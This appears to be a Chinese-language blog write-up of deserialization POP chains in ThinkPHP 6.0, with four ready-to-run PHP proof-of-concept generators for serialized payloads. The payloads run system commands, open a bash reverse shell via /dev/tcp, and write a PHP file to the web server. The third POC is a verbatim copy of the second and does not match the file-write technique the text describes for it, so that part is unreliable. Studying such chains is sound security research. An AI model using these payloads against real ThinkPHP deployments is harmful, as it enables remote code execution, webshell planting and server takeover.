前言
在使用thinkphp开发自己的后台管理系统后,刚刚好知识储备足够来审计thinkphp的链子,便在本地搭建了thinkphp6.0来分析反序列化POP链
POP-1
利用链如下:

触发点位于:/vendor/topthink/think-orm/src/Model.php

查看$this->save()方法调用情况

此处的$this->setAttrs($data)为数据赋值类操作,看到下面一个if语句,还要往下走,不能进入到if语句内return。 又因为这里为或,所以只需要绕过这里的两个if条件其中一个。

查看$this->updateData()调用情况。

$this->checkAllowFields()上面的条件基本满足,直接查看checkAllowFields方法调用情况。

两个if初始值可以满足,不做修改。进一步可以看到$this->table . $this->suffix使用字符串拼接,找一个有__tostring方法的类做跳板。

可以看到眼睛快坏掉了,lol

很自然地进入$this->toArray(),看一下它在干什么

要想进入$this->getAttr($key),必须要绕过两个if条件

看一下两个for循环里面的if,只要下标对应的键值不为字符串即可

合并后的数组中的下标传入$this->getAttr($key),看一下该方法的调用

进入$this->getData($name),从$this->data[$fieldName]通过下标获取键值返回进入$this->getValue($name, $value, $relation)。

查看$this->getValue($name, $value, $relation)方法的调用

POC-1如下:
<?php
namespace think;
abstract class Model
{
use model\concern\Attribute;
private $lazySave;
private $exists;
protected $table;
protected $visible;
private $force;
private $withAttr;
public function __construct($obj)
{
$this->lazySave = true;
$this->data = [
'17man' => 'whoami'
];
$this->exists = true;
$this->table = $obj;
$this->visible = [
['17man' => 'visible']
];
$this->withAttr = ['17man' => 'system'];
}
}
namespace think\model\concern;
trait Attribute
{
}
namespace think\Model;
use think\Model;
class Pivot extends Model
{
}
$object = new Pivot('');
$pwn = new Pivot($object);
echo urlencode(serialize($pwn));
?>
POP-2
利用链如下:
/vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php::__destruct()
/vendor/topthink/framework/src/think/filesystem/CacheStore.php::save()
/vendor/topthink/framework/src/think/cache/driver.php::set()
/vendor/topthink/framework/src/think/cache/driver.php::serialize()
搜索全局__destruct()方法,找到/vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php


因为AbstractCache为抽象类,所以找一下它的子类

看到子类CacheStore中的save方法

查看cleanContents调用情况,只要不是嵌套数组,就可以直接return回来

返回json编码后的数据,进入set方法。 在条件足够利用的情况下,坚持能不进就不进原则。绕过第一个if语句,进入getCacheKey($name)方法。

$this->options = ['hash_type']不能为空,别问我怎么知道的。 接着,返回进去serialize($value)方法

这里利用点其实就是$fun($value),$fun跟$value都可控,谁让PHP是世界上最好都语言呢? 不过需要注意的是这里的$value是json编码后的数组,用的是linux下反引号执行。 选择反弹shell是因为这里会因为[]"这几个符号报错,无法回显ls这类指令的输出。 当然,我一开始用trim测试去掉[]"这几个符号,但还是行不通。

POC-2如下:
<?php
namespace League\Flysystem\Cached\Storage;
abstract class AbstractCache
{
protected $autosave = false;
protected $cache = ['`bash -i >& /dev/tcp/ip/port 0>&1`'];
}
namespace think\filesystem;
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache
{
protected $store;
protected $key;
protected $expire;
public function __construct($obj)
{
$this->store = $obj;
$this->key = '17';
$this->expire = 'expire';
}
}
namespace think\cache;
abstract class Driver
{
}
namespace think\cache\driver;
use think\cache\Driver;
use think\filesystem\CacheStore;
class File extends Driver
{
protected $options;
public function __construct()
{
$this->options = [
'expire' => 0,
'cache_subdir' => true,
'prefix' => '',
'path' => '',
'hash_type' => 'md5',
'data_compress' => false,
'tag_prefix' => 'tag:',
'serialize' => ['system'],
];
}
public function set($key, $value, $ttl = null): bool
{
// TODO: Implement set() method.
}
}
$object = new File();
$pwn = new CacheStore($object);
echo urlencode(serialize($pwn));
?>
POP-3
利用链与POP-2的一样,只不过用的是serialize($value)方法下面的 $result = file_put_contents($filename, $data)来写入shell。 我觉得你也跟我一样懒,所以我在这也贴一次。
/vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php::__destruct()
/vendor/topthink/framework/src/think/filesystem/CacheStore.php::save()
/vendor/topthink/framework/src/think/cache/driver.php::set()
/vendor/topthink/framework/src/think/cache/driver.php::serialize()
既然有file_put_contents()函数,那么肯定要康康文件名跟内容参数怎么控制啦!

查看$this->getCacheKey($name)的调用情况,还是那个能不进就不进原则。 更何况这里两个if已经对我们文件名动手动脚的了(诶,有if我就不进,就是玩儿), 这里options['path']用伪协议,是因为写入内容拼接了exit,具体康康p神那篇伪协议文章。

这里要记得文件名跟加密方式,这里我用的是md5加密后的17man, 然后文件内容要加3个字符,因为base64编码4个字符一组。

POC-3如下:
<?php
namespace League\Flysystem\Cached\Storage;
abstract class AbstractCache
{
protected $autosave = false;
protected $cache = ['`bash -i >& /dev/tcp/ip/port 0>&1`'];
}
namespace think\filesystem;
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache
{
protected $store;
protected $key;
protected $expire;
public function __construct($obj)
{
$this->store = $obj;
$this->key = '17';
$this->expire = 'expire';
}
}
namespace think\cache;
abstract class Driver
{
}
namespace think\cache\driver;
use think\cache\Driver;
use think\filesystem\CacheStore;
class File extends Driver
{
protected $options;
public function __construct()
{
$this->options = [
'expire' => 0,
'cache_subdir' => true,
'prefix' => '',
'path' => '',
'hash_type' => 'md5',
'data_compress' => false,
'tag_prefix' => 'tag:',
'serialize' => ['system'],
];
}
public function set($key, $value, $ttl = null): bool
{
// TODO: Implement set() method.
}
}
$object = new File();
$pwn = new CacheStore($object);
echo urlencode(serialize($pwn));
?>
POP-4
利用链如下:
/vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php::__destruct()
/vendor/league/flysystem-cached-adapter/src/Storage/Adapter.php::save()
/vendor/league/flysystem/src/Adapter/Local.php:has()
/vendor/league/flysystem/src/Adapter/Local.php:write()
触发点位于League\Flysystem\Cached\Storage\AbstractCache::__destruct()

AbstractCache为抽象类,找一下它的子类Adapter利用

看一下Adapter中的save()方法中,有一个write方法。$content为getForStorage方法返回值, 上文分析了该参数可控,所以可以用来写马。 我们只需要找到有has()跟write()方法的对象来利用。

查看has()方法的调用情况,发现该方法用来判断文件是否已存在, 只要构建文件名不存在即可

执行file_put_contents()函数,写入shell

POC-4如下:
<?php
namespace League\Flysystem\Cached\Storage;
abstract class AbstractCache
{
protected $autosave = false;
protected $cache = ['<?php phpinfo();?>'];
}
namespace League\Flysystem\Cached\Storage;
class Adapter extends AbstractCache
{
protected $adapter;
protected $file;
public function __construct($obj)
{
$this->adapter = $obj;
$this->file = 'pwn.php';
}
}
namespace League\Flysystem\Adapter;
abstract class AbstractAdapter
{
}
namespace League\Flysystem\Adapter;
use League\Flysystem\Cached\Storage\Adapter;
use League\Flysystem\Config;
class Local extends AbstractAdapter
{
public function has($path)
{
}
public function write($path, $contents, Config $config)
{
}
}
$object = new Local();
$pwn = new Adapter($object);
echo urlencode(serialize($pwn));
?>
There Is Nothing Below
